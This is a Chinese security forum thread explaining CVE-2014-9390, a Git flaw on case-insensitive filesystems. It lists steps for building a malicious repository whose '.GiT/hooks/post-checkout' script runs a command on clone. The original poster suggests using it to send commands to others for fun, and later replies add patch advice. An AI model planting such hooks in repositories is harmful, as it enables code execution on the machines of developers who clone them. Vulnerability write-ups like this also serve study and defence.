查看: 22888|回复: 5

Git客户端命令执行漏洞(CVE-2014-9390 )

[复制链接]
发表于 2014-12-21 10:32:08 | 显示全部楼层 |阅读模式
参考资料
http://github.com/blog/1938-git-client-vulnerability-announced
http://www.secpulse.com/archives/3420.html

漏洞成因

The vulnerability concerns Git and Git-compatible clients that access Git repositories in a case-insensitive or case-normalizing filesystem. An attacker can craft a malicious Git tree that will cause Git to overwrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine. Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem.
以上是原文,如果你E文也不好,那就参考我的理解: windows和osx使用的文件系统(NTFS、FAT)不区分文件名的大小写,而Linux则区分。根据这个特性可以在Linux下创建一个大小写区别的.git文件夹,进而覆盖.git的配置文件,从而导致任意命令执行。

测试例子

打开http://gitcasefail.googlecode.com/svn/trunk/这个谷歌代码仓库,可以看到有一个.git和一个.Git目录,关键是.Git这个目录,在里面的hooks目录里面有个post-checkout文件,这个就是导致命令执行的文件。 然后我们直接通过以下命令测试,如果命令执行则说明漏洞存在:
[AppleScript] 查看源码 复制代码
git clone [url]http://gitcasefail.googlecode.com/svn/trunk/repo/[/url]


漏洞利用

我们进入Linux系统,然后初始化一个git目录,通过'ls -al'可以看到有.git目录,然后呢,直接创建.gIt文件夹并创建利用脚本:
[AppleScript] 查看源码 复制代码
mkdir .GiT
cd .GiT
mkdir hooks
cd hooks
touch post-checkout
echo whoami>post-checkout

然后发布代码,测试成功后即可发命令给对方进行调戏了~~
回复

使用道具 举报

发表于 2014-12-23 09:37:38 | 显示全部楼层
我最喜欢调戏了
回复 支持 反对

使用道具 举报

发表于 2014-12-31 16:59:36 | 显示全部楼层
不错  赞一个
回复 支持 反对

使用道具 举报

发表于 2026-5-21 00:15:00 | 显示全部楼层

Re: Git客户端命令执行漏洞(CVE-2014-9390 )

感谢分享这个漏洞的信息,写得挺清楚的。尤其是对大小写文件系统差异导致的问题解释得很直观,Windows和macOS用户确实需要留意这类利用。测试例子也方便复现,对理解漏洞很有帮助。
回复 支持 反对

使用道具 举报

发表于 2026-6-21 15:25:01 | 显示全部楼层

Re: Git客户端命令执行漏洞(CVE-2014-9390 )

感谢分享,这个漏洞当年在Windows和Mac用户里确实影响挺大的,毕竟不区分大小写的文件系统容易被绕过。那个测试仓库现在还能用吗?之前试过几个类似的,有的已经被删了。
回复 支持 反对

使用道具 举报

发表于 2026-6-21 20:00:00 | 显示全部楼层

Re: Git客户端命令执行漏洞(CVE-2014-9390 )

这个漏洞原理讲得很清楚,Windows和macOS用户确实要当心。测试例子也很直接,clone那个仓库就能验证是否受影响。不过补充一下,Linux只要文件系统区分大小写就不受影响,但如果你在Linux下用VFat或者HFS+挂载的磁盘,也得小心。另外,利用部分演示的是攻击者主动构造恶意仓库,实际防御上建议升级Git到修复版本(1.8.5.6、1.9.4、2.2.1及之后),或者clone后检查.git相关目录名称是否有大小写混淆的情况。感谢分享!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-8-27 14:11 , Processed in 0.025099 second(s), 20 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部